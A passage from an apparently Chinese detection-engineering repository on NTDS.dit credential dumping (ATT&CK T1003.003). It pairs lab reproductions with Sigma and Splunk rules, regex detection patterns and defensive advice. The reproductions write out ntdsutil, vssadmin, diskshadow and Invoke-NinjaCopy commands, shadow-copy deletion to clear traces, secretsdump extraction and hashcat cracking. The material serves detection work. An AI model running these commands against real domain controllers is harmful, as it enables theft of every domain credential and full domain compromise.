级别：标记为“高”优先级，因NTDS.dit提取通常与严重攻击相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\ntdsutil.exe\" CommandLine IN (\"*snapshot*\",\"*activate instance ntds*\",\"*mount*\",\"*unmount*\",\"*delete*\",\"*create*\"))\nOR (EventCode=11 FileName=\"ntds.dit\" TargetFilename=\"*\\ntdsutil.exe\")\n| fields Image,CommandLine,ParentImage,User,TargetFilename\n```\n\n规则说明：\n- 检测`ntdsutil.exe`的快照操作及生成的NTDS.dit文件。\n- 减少误报：结合命令行和文件访问行为分析。\n\n### 检测挑战\n- 误报：合法备份操作可能触发，需建立备份行为基线。\n- 日志依赖：需启用Sysmon和安全日志。\n- 权限要求：检测需重点关注域管理员权限的异常使用。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审计和应用日志，确保事件ID4688、2001-2006、216、300、302记录完整。\n   - 部署Sysmon，配置针对`ntdsutil.exe`的规则。\n2. 权限控制：\n   - 限制域管理员账户使用，启用多因素认证（MFA）。\n   - 限制BackupOperators的权限。\n3. 文件保护：\n   - 启用文件完整性监控，检测对`C:\\Windows\\NTDS\\ntds.dit`的异常访问。\n   - 定期备份NTDS.dit到安全位置。\n4. 限制VSS：\n   - 禁用非必要的卷影副本服务。\n5. 安全更新：\n   - 保持WindowsServer更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1003.003:  \n  <https://attack.mitre.org/techniques/T1003/003/>\n- 域渗透-获得域控服务器的NTDS.dit文件:  \n  <https://xz.aliyun.com/t/2187>\n- NTDS.dit密码快速提取工具:  \n  <https://www.secpulse.com/archives/6301.html>\n- 域Hash值破解的总结经验:  \n  <https://www.cnblogs.com/backlion/p/6785639.html>\n- Mimikatz:用于凭证提取的工具。  \n  <https://github.com/gentilkiwi/mimikatz>\n- Secretsdump.py:用于NTDS.dit哈希提取。  \n  <https://github.com/SecureAuthCorp/impacket>\n- Passcape Windows Password Recovery:  \n  <https://www.passcape.com/windows_password_recovery>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n"
  },
  {
    "path": "Windows/08凭证访问/T1003.003-Win-基于NTDS进行凭证获取1.md",
    "content": "# T1003.003-Win-基于NTDS凭证转储2\n\n## 描述\n\n攻击者可能试图访问或创建Active Directory域数据库的副本，以便窃取凭据信息，以及获取有关域成员（例如设备，用户和访问权限）的其他信息。默认情况下，NTDS文件（NTDS.dit）位于%SystemRoot%\\NTDS\\Ntds.dit域控制器中。\n\n除了在活动的域控制器上查找NTDS文件之外，攻击者还可能搜索包含相同或相似信息的备份。\n\n下列工具和技术可用于枚举NTDS文件和整个Active Directory哈希的内容。\n- 卷影复制\n- secretsdump.py\n- 使用内置的Windows工具ntdsutil.exe\n- 调用卷影副本\n\n### NTDS.dit\n\nNtds.dit文件是存储Active Directory数据的数据库，包括有关用户对象，组和组成员身份的信息。它包括域中所有用户的密码哈希值。域控制器（DC）上的ntds.dit文件只能由可以登录到DC的用户访问。很明显，保护这个文件至关重要，因为攻击者访问这个文件会导致整个域沦陷。\n默认情况下，NTDS文件将位于域控制器的％SystemRoot％\\NTDS\\Ntds.dit中。但通常存储在其他逻辑驱动器上。AD数据库是一个Jet数据库引擎，它使用可扩展存储引擎（ESE）提供数据存储和索引服务。通过ESE级别索引，可以快速定位对象属性。\n\n## 测试案例\n\n使用NTDSUtil创建IFM抓取DC本地的Ntds.dit文件。\n\nNTDSUTIL是一个命令行实用程序，在本地工作时需要AD数据库（NTDS.DIT）并支持为DCPROMO创建IFM。DCPROMO将使用IFM以“从媒体介质中安装”，这样服务器就不需要通过网络从另一台 DC 上复制域数据。适用于：Windows Server 2003，Windows Server 2003 R2，带有SP1的Windows Server 2003，Windows Server 2008，Windows Server 2008 R2。\n\nNtdsutil.exe是一个命令行工具，为Active Directory域服务（AD DS）和Active Directory轻型目录服务（AD LDS）提供管理工具。您可以使用ntdsutil命令来执行AD DS的数据库维护，管理和控制单个主操作，以及删除从网络中删除而未正确卸载的域控制器留下的元数据。该工具仅供有经验的管理员使用\n\nNtdsutil.exe的是内置在Windows Server 2008和Windows Server 2008 R2。如果您安装了AD DS或AD LDS服务器角色，则可以使用该角色。如果您安装作为远程服务器管理工具（RSAT）一部分的Active Directory域服务工具，它也将可用。\n\n```dos\n#!bash\nntdsutil “ac i ntds” “ifm” “create full c:\\temp” q q\n```\n\nIFM 是一个 NTDS.dit文件的副本，放在**C://temp**目录中。当创建一个IFM时，也会产生并挂载一个VSS快照，同时Ntds.dit文件和相关的数据也被复制到目标文件夹中。\n\n该文件可能存储在一个正在promot的新的DC的共享文件夹中，也可能出现在还没有promot的新的服务器上。\n此服务器可能无法确保IFM数据的安全，包括复制Ntds.dit文件并提取凭证数据。这个命令也可以通过 WMI 或 PowerShell 远程执行。（建议使用powershell执行，DOS命令执行异常错误）\n\n## 检测日志\n\nwindows 安全日志\n\n## 测试复现\n\n```dos\nC:\\Windows\\system32\\ntdsutil.exe: ac i ntds\n活动实例设置为“ntds”。\nC:\\Windows\\system32\\ntdsutil.exe: ifm\nifm: create full c:\\temp\n正在创建快照...\n成功生成快照集 {ea08df62-9743-4068-aedb-a2c32dfd057f}。\n快照 {2d92b366-961f-45f0-9202-9aa6f069139f} 已作为 C:\\$SNAP_201911011107_VOLUMEC$\\ 装载\n已装载快照 {2d92b366-961f-45f0-9202-9aa6f069139f}。\n正在启动碎片整理模式...\n     源数据库: C:\\$SNAP_201911011107_VOLUMEC$\\Windows\\NTDS\\ntds.dit\n     目标数据库: c:\\temp\\Active Directory\\ntds.dit\n\n                  Defragmentation  Status (% complete)\n\n          0    10   20   30   40   50   60   70   80   90  100\n          |----|----|----|----|----|----|----|----|----|----|\n          ...................................................\n\n正在复制注册表文件...\n正在复制 c:\\temp\\registry\\SYSTEM\n正在复制 c:\\temp\\registry\\SECURITY\n快照 {2d92b366-961f-45f0-9202-9aa6f069139f} 已卸载。\n在 c:\\temp 中成功创建 IFM 媒体。\nifm: q\nC:\\Windows\\system32\\ntdsutil.exe: q\n```\n\n## 测试留痕\n\n暂无\n\n## 检测规则/思路\n\n建议针对进程、进程命令行参数进行监控。针对进程、进程命令行监控需要特定的环境，比如配置审核策略、采集sysmon日志等。\n\n## 参考推荐\n\n- MITRE-ATT&CK-T1003-003  \n  <https://attack.mitre.org/techniques/T1003/003>\n- NTDSutil简介  \n  <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753343(v=ws.10)?redirectedfrom=MSDN>\n"
  },
  {
    "path": "Windows/08凭证访问/T1003.003-Win-基于NTDS进行凭证获取2.md",
    "content": "# T1003.003-基于NTDS凭证获取\n\n## 描述\n\n攻击者可能试图访问或创建ActiveDirectory域数据库（NTDS.dit）的副本，以窃取凭据信息（如密码哈希）并获取域成员（设备、用户、访问权限）的信息。NTDS.dit是存储ActiveDirectory数据的核心数据库，包含域用户、组及其密码哈希（NTLM哈希），默认位于域控制器（DC）的`%SystemRoot%\\NTDS\\ntds.dit`（通常为`C:\\Windows\\NTDS\\ntds.dit`）。访问该文件需域管理员权限或物理访问权限。\n\n攻击者可通过以下工具和技术提取NTDS.dit中的哈希：\n- **Ntdsutil.exe**：创建NTDS.dit快照。\n- **卷影副本（VolumeShadowCopy）**：通过VSS复制NTDS.dit。\n- **Secretsdump.py**：离线提取哈希。\n- **Mimikatz**：本地或远程转储凭据。\n- **PowerSploit（Invoke-NinjaCopy）**：远程复制NTDS.dit。\n- **DCSync**：模拟域控制器同步凭据。\n\n提取的哈希可用于密码破解（通过Hashcat）或传递哈希攻击（通过Mimikatz），导致域环境沦陷。若攻击者获取NTDS.dit副本（例如备份），无需提权即可离线提取凭据。\n\n**可访问NTDS.dit的组**：\n- EnterpriseAdmins（目录林管理员）\n- DomainAdmins（域管理员）\n- Administrators（本地管理员）\n- BackupOperators（备份操作员）\n- AccountOperators（账户操作员）\n- PrintOperators（打印机操作员）\n\n## 测试案例\n\n### 测试案例1：使用Ntdsutil创建NTDS.dit快照\n通过`ntdsutil.exe`创建域控制器的NTDS.dit快照。\n\n**命令**：\n```cmd\nntdsutil \"activate instance ntds\" \"ifm\" \"create full C:\\Temp\\ntds_dump\" quit quit\n```\n\n- **说明**：\n  - 创建包含NTDS.dit和SYSTEM注册表配置单元的快照，输出到`C:\\Temp\\ntds_dump`。\n  - 需结合Secretsdump或Mimikatz提取哈希。\n- **权限**：域管理员或Administrators组权限。\n- **支持系统**：WindowsServer2008、2012、2016、2019。\n\n### 测试案例2：使用VSS和Vssadmin提取NTDS.dit\n通过卷影副本服务（VSS）和`vssadmin`复制NTDS.dit。\n\n**命令**：\n```cmd\nvssadmin create shadow /for=C:\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit C:\\Temp\\ntds.dit\ncopy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\Temp\\system.hiv\nvssadmin delete shadows /all\n```\n\n- **说明**：\n  - 创建C盘卷影副本，复制NTDS.dit和SYSTEM文件。\n  - 删除卷影副本以清理痕迹。\n- **权限**：域管理员权限。\n\n### 测试案例3：使用Invoke-NinjaCopy远程复制NTDS.dit\n通过PowerSploit的Invoke-NinjaCopy远程复制NTDS.dit。\n\n**命令**：\n```powershell\nInvoke-NinjaCopy -Path \"C:\\Windows\\NTDS\\ntds.dit\" -LocalDestination \"C:\\Temp\\ntds.dit\"\n```\n\n- **说明**：\n  - 需目标DC启用PowerShell远程管理（WinRM）。\n  - 绕过文件锁直接复制NTDS.dit。\n- **权限**：域管理员权限。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`ntdsutil.exe`、`vssadmin.exe`或`powershell.exe`的执行。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID11：文件创建，记录导出的NTDS.dit或`.hiv`文件。\n  - 事件ID13：注册表修改，记录对`HKLM\\SYSTEM`的访问。\n- Windows应用日志：\n  - 来源：`Microsoft-Windows-ESE`，事件ID2001、2003、2005、2006、216、300、302，记录卷影副本操作。\n- 文件监控：\n  - 检测非系统路径下的NTDS.dit或`.hiv`文件。\n- 网络监控：\n  - 检测NTDS.dit文件通过SMB或HTTP传输。\n\n### 日志示例\n- 安全日志（事件ID4688）：\n  ```\n  进程信息:\n    新进程名称:C:\\Windows\\System32\\ntdsutil.exe\n    命令行:ntdsutil \"activate instance ntds\" \"ifm\" \"create full C:\\Temp\\ntds_dump\" quit quit\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n- Sysmon事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:ntdsutil.exe\n  CommandLine:ntdsutil \"activate instance ntds\" \"ifm\" \"create full C:\\Temp\\ntds_dump\" quit quit\n  CurrentDirectory:C:\\Users\\admin\\\n  User:DOMAIN\\admin\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 应用日志（事件ID2005）：\n  ```\n  来源:Microsoft-Windows-ESE\n  事件ID:2005\n  消息:lsass(508)卷影复制实例1正在启动。这将是一次完整的卷影复制。\n  ```\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：WindowsServer2012（域控制器，安装ActiveDirectory）\n- 工具：\n  - MetasploitFramework（提权和监听）\n  - Mimikatz或Secretsdump.py（哈希提取）\n  - PowerSploit（Invoke-NinjaCopy）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：使用Ntdsutil创建NTDS.dit快照\n1. **获取域管理员权限**：\n   - 使用Metasploit提权或已有域管理员账户登录：\n   ```cmd\n   whoami /priv\n   ```\n\n2. **创建快照**：\n   在域控制器上执行：\n   ```cmd\n   ntdsutil \"activate instance ntds\" \"ifm\" \"create full C:\\Temp\\ntds_dump\" quit quit\n   ```\n\n3. **复制文件到攻击机**：\n   通过SMB或HTTP将`C:\\Temp\\ntds_dump\\ntds.dit`和`C:\\Temp\\ntds_dump\\registry\\SYSTEM`传输到攻击机。\n\n4. **提取哈希**：\n   使用Secretsdump：\n   ```bash\n   secretsdump.py -ntds C:\\Temp\\ntds.dit -system C:\\Temp\\system.hiv LOCAL\n   ```\n   - 示例输出：\n     ```\n     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\n     user1:1001:aad3b435b51404eeaad3b435b51404ee:a2345375a47a92754e2505132aca194b:::\n     ```\n\n5. **破解哈希**：\n   使用Hashcat：\n   ```bash\n   hashcat -m 1000 -a 0 ntlm_hashes.txt wordlist.txt\n   ```\n\n6. **结果分析**：\n   - 成功：提取域用户哈希，可用于密码破解或传递哈希攻击。\n   - 失败可能：\n     - 权限不足。\n     - 防病毒软件阻止快照创建。\n     - 文件传输被防火墙拦截。\n\n#### 测试2：使用VSS和Vssadmin提取NTDS.dit\n1. **创建卷影副本**：\n   在域控制器上执行：\n   ```cmd\n   vssadmin create shadow /for=C:\n   ```\n\n2. **复制NTDS.dit和SYSTEM**：\n   ```cmd\n   copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit C:\\Temp\\ntds.dit\n   copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\Temp\\system.hiv\n   ```\n\n3. **清理痕迹**：\n   ```cmd\n   vssadmin delete shadows /all\n   ```\n\n4. **提取哈希**：\n   重复测试1的步骤3-5。\n\n5. **结果分析**：\n   - 成功：通过卷影副本获取NTDS.dit并提取哈希。\n   - 失败可能：VSS服务未启用或权限不足。\n\n#### 测试3：使用Invoke-NinjaCopy远程复制\n1. **启用WinRM**：\n   在目标DC上启用PowerShell远程管理：\n   ```cmd\n   winrm quickconfig\n   ```\n\n2. **执行Invoke-NinjaCopy**：\n   在攻击机上运行PowerSploit：\n   ```powershell\n   Import-Module .\\Invoke-NinjaCopy.ps1\n   Invoke-NinjaCopy -Path \"C:\\Windows\\NTDS\\ntds.dit\" -LocalDestination \"C:\\Temp\\ntds.dit\" -ComputerName DC01\n   ```\n\n3. **提取哈希**：\n   重复测试1的步骤3-5。\n\n4. **结果分析**：\n   - 成功：远程复制NTDS.dit并提取哈希。\n   - 失败可能：WinRM未启用或网络限制。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  进程信息:\n    新进程ID:0x1234\n    新进程名称:C:\\Windows\\System32\\ntdsutil.exe\n    命令行:ntdsutil \"activate instance ntds\" \"ifm\" \"create full C:\\Temp\\ntds_dump\" quit quit\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n  ```\n  进程信息:\n    新进程ID:0x5678\n    新进程名称:C:\\Windows\\System32\\vssadmin.exe\n    命令行:vssadmin create shadow /for=C:\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:ntdsutil.exe\n  CommandLine:ntdsutil \"activate instance ntds\" \"ifm\" \"create full C:\\Temp\\ntds_dump\" quit quit\n  CurrentDirectory:C:\\Users\\admin\\\n  User:DOMAIN\\admin\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n  ```\n  事件ID:1\n  OriginalFileName:vssadmin.exe\n  CommandLine:vssadmin create shadow /for=C:\n  CurrentDirectory:C:\\Users\\admin\\\n  User:DOMAIN\\admin\n  Hashes:SHA1=2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B1C\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\ntdsutil.exe\n  TargetFilename:C:\\Temp\\ntds_dump\\ntds.dit\n  ```\n\n### Windows应用日志\n- 事件ID2005：\n  ```\n  来源:Microsoft-Windows-ESE\n  事件ID:2005\n  消息:lsass(508)卷影复制实例1正在启动。这将是一次完整的卷影复制。\n  ```\n- 事件ID216：\n  ```\n  来源:Microsoft-Windows-ESE\n  事件ID:216\n  消息:lsass(508)检测到数据库位置从“C:\\Windows\\NTDS\\ntds.dit”更改为“\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit”。\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`ntdsutil.exe`的执行，尤其是`ifm`或`create full`参数。\n   - 检测`vssadmin.exe`的执行，特别是`create shadow`或`delete shadows`命令。\n   - 检测`powershell.exe`运行`Invoke-NinjaCopy`。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     ntdsutil\\.exe.*(ifm|create\\s+full)\n     ```\n     ```regex\n     vssadmin\\.exe.*(create\\s+shadow|delete\\s+shadows)\n     ```\n     ```regex\n     powershell\\.exe.*Invoke-NinjaCopy.*ntds\\.dit\n     ```\n3. 文件监控：\n   - 检测非系统路径下的NTDS.dit或`.hiv`文件。\n   - 监控对`C:\\Windows\\NTDS\\ntds.dit`的异常访问。\n4. 应用日志分析：\n   - 检测卷影副本相关事件（2001、2003、2005、2006、216、300、302）。\n5. 网络监控：\n   - 检测NTDS.dit文件通过SMB或HTTP传输。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle: VSS卷影复制提取NTDS.dit文件\nid: 8c9d0e1f-2a3b-4c5d-6e7f-8a9b0c1d2e3f\ndescription: 检测vssadmin.exe或ntdsutil.exe操作NTDS.dit，可能用于凭证窃取\nstatus: experimental\nreferences:\n  - https://1sparrow.com/2018/02/19/域渗透相关/\ntags:\n  - attack.credential_access\n  - attack.t1003.003\nlogsource:\n  product: windows\n  service: sysmon\ndetection:\n  selection_vssadmin:\n    EventID: 1\n    Image|endswith: '\\vssadmin.exe'\n    CommandLine|contains:\n      - 'create shadow'\n      - 'delete shadows'\n  selection_ntdsutil:\n    EventID: 1\n    Image|endswith: '\\ntdsutil.exe'\n    CommandLine|contains:\n      - 'ifm'\n      - 'create full'\n  selection_ninjacopy:\n    EventID: 1\n    Image|endswith: '\\powershell.exe'\n    CommandLine|contains: 'Invoke-NinjaCopy'\n  filter_legitimate:\n    CurrentDirectory|contains:\n      - 'C:\\Program Files\\'\n      - 'C:\\Program Files (x86)\\'\n  condition: (selection_vssadmin or selection_ntdsutil or selection_ninjacopy) and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的域控制器备份操作\nlevel: high\n```\n\n规则说明：\n- 目标：检测`vssadmin.exe`、`ntdsutil.exe`或`Invoke-NinjaCopy`提取NTDS.dit的行为。\n- 过滤：排除合法备份目录的操作。\n- 日志来源：Sysmon事件ID1。\n- 误报处理：备份操作可能触发，需结合上下文分析。\n- 级别：标记为“高”优先级，因NTDS.dit提取通常与严重攻击相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image IN (\"*\\ntdsutil.exe\",\"*\\vssadmin.exe\",\"*\\powershell.exe\") CommandLine IN (\"*ifm*\",\"*create full*\",\"*create shadow*\",\"*delete shadows*\",\"*Invoke-NinjaCopy*\"))\nOR (EventCode=11 FileName IN (\"*ntds.dit\",\"*.hiv\") TargetFilename IN (\"*\\ntdsutil.exe\",\"*\\vssadmin.exe\"))\n| fields Image,CommandLine,ParentImage,User,TargetFilename\n```\n\n规则说明：\n- 检测`ntdsutil.exe`、`vssadmin.exe`或`Invoke-NinjaCopy`的执行及生成的NTDS.dit文件。\n- 减少误报：结合命令行和文件访问行为分析。\n\n### 检测挑战\n- 误报：合法备份操作可能触发，需建立备份行为基线。\n- 日志依赖：需启用Sysmon和应用日志。\n- 权限要求：检测需重点关注域管理员权限的异常使用。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审计和应用日志，确保事件ID4688、2001-2006、216、300、302记录完整。\n   - 部署Sysmon，配置针对`ntdsutil.exe`、`vssadmin.exe`和`powershell.exe`的规则。\n2. 权限控制：\n   - 限制域管理员账户使用，启用多因素认证（MFA）。\n   - 限制BackupOperators和AccountOperators的权限。\n3. 文件保护：\n   - 启用文件完整性监控，检测对`C:\\Windows\\NTDS\\ntds.dit`的异常访问。\n   - 定期备份NTDS.dit到安全位置。\n4. 限制VSS和WinRM：\n   - 禁用非必要的卷影副本服务。\n   - 限制PowerShell远程管理（WinRM）到受信任主机。\n5. 安全更新：\n   - 保持WindowsServer更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1003.003:  \n  <https://attack.mitre.org/techniques/T1003/003/>\n- 从活动目录中获取域管理员权限的6种方法:  \n  <https://www.4hou.com/technology/4256.html>\n- 如何从NTDS.dit中提取Hash和域信息:  \n  <https://3gstudent.github.io/3gstudent.github.io/域渗透-获得域控服务器的NTDS.dit文件/>\n- 域渗透-获得域控服务器的NTDS.dit文件:  \n  <https://xz.aliyun.com/t/2187>\n- 从NTDS.dit获取密码哈希的三种方法:  \n  <https://www.freebuf.com/sectool/176876.html>\n- 从NTDS.dit文件中提取密码哈希值:  \n  <https://blog.stealthbits.com/extracting-password-hashes-from-the-ntds-dit-file/>\n- 攻击者如何转储AD数据库凭据:  \n  <https://adsecurity.org/?p=2398>\n- 在AD中获得域管理员权限的攻击方法:  \n  <https://adsecurity.org/?p=2362>\n- 转储活动目录数据库方法总结:  \n  <http://ju.outofmemory.cn/entry/232676>\n- PowerShell开启远程管理:  \n  <https://blog.51cto.com/1163739403/1826546>\n- 卷影复制NTDS.dit域散列远程:  \n  <https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/>\n- 从NTDS.dit文件获取哈希:  \n  <https://www.swordshield.com/blog/getting-hashes-from-ntds-dit-file/>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- PowerSploit:用于Invoke-NinjaCopy的工具。  \n  <https://github.com/PowerShellMafia/PowerSploit>\n- Secretsdump.py:用于NTDS.dit哈希提取。  \n  <https://github.com/SecureAuthCorp/impacket>\n"
  },
  {
    "path": "Windows/08凭证访问/T1003.003-Win-基于应用日志检测Ntdsutil获取凭证.md",
    "content": "# T1003.003-基于应用日志检测Ntdsutil获取凭证\n\n## 描述\n\n攻击者可能通过访问或创建ActiveDirectory域数据库（NTDS.dit）的副本，窃取凭据信息（如用户密码哈希）以及获取域成员（如设备、用户和访问权限）的详细信息。NTDS.dit是存储ActiveDirectory数据的核心数据库，包含域用户、组及其密码哈希（NTLM哈希），默认位于域控制器（DC）的`%SystemRoot%\\NTDS\\Ntds.dit`（通常为`C:\\Windows\\NTDS\\ntds.dit`）。攻击者需要域管理员权限或物理访问权限才能访问该文件。\n\n攻击者常使用以下工具或技术枚举NTDS.dit：\n- **Ntdsutil.exe**：Windows内置工具，可创建NTDS.dit的快照。\n- **卷影副本（VolumeShadowCopy）**：通过VSS（卷影拷贝服务）复制NTDS.dit。\n- **Secretsdump.py**：从NTDS.dit提取哈希。\n- **直接备份**：复制NTDS.dit或其备份文件。\n\n获取NTDS.dit后，攻击者可离线提取哈希，用于密码破解或传递哈希（Pass-the-Hash）攻击，导致域环境沦陷。\n\n## 测试案例\n\n### 测试案例1：使用Ntdsutil创建NTDS.dit快照\n通过`ntdsutil.exe`创建域控制器NTDS.dit的快照，提取ActiveDirectory数据库。\n\n**命令**：\n```cmd\nntdsutil \"activate instance ntds\" \"ifm\" \"create full C:\\Temp\\ntds_dump\" quit quit\n```\n\n- **说明**：\n  - `activate instance ntds`：激活NTDS实例。\n  - `ifm`：进入InstallfromMedia模式。\n  - `create full`：创建包含NTDS.dit和SYSTEM注册表配置单元的完整快照。\n  - 输出路径：`C:\\Temp\\ntds_dump`。\n- **权限**：需要域管理员或本地Administrators组权限。\n- **支持系统**：WindowsServer2008、2012、2016、2019。\n\n### 测试案例2：使用VSS和Diskshadow提取NTDS.dit\n通过卷影副本服务（VSS）和`diskshadow`工具复制NTDS.dit。\n\n**命令**：\n```cmd\necho create context persistent > diskshadow.txt\necho create > diskshadow.txt\necho exec copy_ntds.bat > diskshadow.txt\ndiskshadow /s diskshadow.txt\n```\n\n- **copy_ntds.bat**：\n  ```cmd\n  copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit C:\\Temp\\ntds.dit\n  copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\Temp\\system.hiv\n  ```\n\n- **说明**：\n  - 创建卷影副本，复制NTDS.dit和SYSTEM文件。\n  - 需要结合Mimikatz或Secretsdump提取哈希。\n- **权限**：需要域管理员权限。\n\n### 测试案例3：使用Secretsdump提取哈希\n从导出的NTDS.dit和SYSTEM文件中提取NTLM哈希。\n\n**命令**：\n```bash\nsecretsdump.py -ntds C:\\Temp\\ntds.dit -system C:\\Temp\\system.hiv LOCAL\n```\n\n- **说明**：\n  - 离线提取域用户的NTLM哈希。\n- **权限**：普通用户可执行Secretsdump，但需提供导出的NTDS.dit和SYSTEM文件。\n\n## 检测日志\n\n### 数据来源\n- Windows应用日志：\n  - 来源：`Microsoft-Windows-ESE`和`LSASS`，记录卷影副本和数据库操作。\n  - 事件ID2001、2003、2005、2006、216、300、302：与卷影副本和NTDS.dit访问相关。\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`ntdsutil.exe`或`diskshadow.exe`的执行。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID11：文件创建，记录导出的NTDS.dit或`.hiv`文件。\n  - 事件ID13：注册表修改，记录对`HKLM\\SYSTEM`的访问。\n- 文件监控：\n  - 检测非系统路径下的NTDS.dit或`.hiv`文件。\n- 网络监控：\n  - 检测导出的NTDS.dit文件通过SMB或HTTP传输。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：WindowsServer2012（域控制器，安装ActiveDirectory）\n- 工具：\n  - Mimikatz或Secretsdump.py（哈希提取）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：使用Ntdsutil创建NTDS.dit快照\n1. **获取域管理员权限**：\n   - 使用已有的域管理员账户登录域控制器，或通过提权（如Metasploit的`getsystem`）获得权限。\n   ```cmd\n   whoami /priv\n   ```\n\n2. **创建NTDS.dit快照**：\n   在域控制器上执行：\n   ```cmd\n   ntdsutil \"activate instance ntds\" \"ifm\" \"create full C:\\Temp\\ntds_dump\" quit quit\n   ```\n   - 输出路径：`C:\\Temp\\ntds_dump\\ntds.dit`和`C:\\Temp\\ntds_dump\\registry\\SYSTEM`。\n\n3. **复制文件到攻击机**：\n   将`ntds.dit`和`SYSTEM`文件通过SMB或HTTP传输到攻击机。\n\n4. **使用Secretsdump提取哈希**：\n   在攻击机上运行：\n   ```bash\n   secretsdump.py -ntds C:\\Temp\\ntds.dit -system C:\\Temp\\system.hiv LOCAL\n   ```\n   - 示例输出：\n     ```\n     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::\n     user1:1001:aad3b435b51404eeaad3b435b51404ee:a2345375a47a92754e2505132aca194b:::\n     ```\n\n5. **破解哈希**：\n   使用hashcat破解NTLM哈希：\n   ```bash\n   hashcat -m 1000 -a 0 ntlm_hashes.txt wordlist.txt\n   ```\n\n![ntds0](https://s2.ax1x.com/2020/01/14/lqUbDJ.png)\n\n6. **结果分析**：\n   - 成功：提取域用户的NTLM哈希，可用于密码破解或传递哈希攻击。\n   - 失败可能：\n     - 缺乏域管理员权限。\n     - 快照创建被防病毒软件阻止。\n     - 文件传输被防火墙拦截。\n\n#### 测试2：使用VSS和Diskshadow提取NTDS.dit\n1. **创建Diskshadow脚本**：\n   在域控制器上创建`diskshadow.txt`：\n   ```txt\n   create context persistent\n   create\n   exec copy_ntds.bat\n   ```\n   创建`copy_ntds.bat`：\n   ```cmd\n   copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit C:\\Temp\\ntds.dit\n   copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SYSTEM C:\\Temp\\system.hiv\n   ```\n\n2. **执行Diskshadow**：\n   ```cmd\n   diskshadow /s diskshadow.txt\n   ```\n\n3. **提取哈希**：\n   重复测试1的步骤3-5。\n\n4. **结果分析**：\n   - 成功：通过卷影副本获取NTDS.dit并提取哈希。\n   - 失败可能：VSS服务未启用或权限不足。\n\n## 测试留痕\n\n### Windows应用日志\n- 事件ID2005：\n  ```\n  来源:Microsoft-Windows-ESE\n  事件ID:2005\n  消息:lsass(508)卷影复制实例1正在启动。这将是一次完整的卷影复制。\n  ```\n- 事件ID216：\n  ```\n  来源:Microsoft-Windows-ESE\n  事件ID:216\n  消息:lsass(508)检测到数据库位置从“C:\\Windows\\NTDS\\ntds.dit”更改为“\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\NTDS\\ntds.dit”。\n  ```\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  进程信息:\n    新进程ID:0x1234\n    新进程名称:C:\\Windows\\System32\\ntdsutil.exe\n    命令行:ntdsutil \"activate instance ntds\" \"ifm\" \"create full 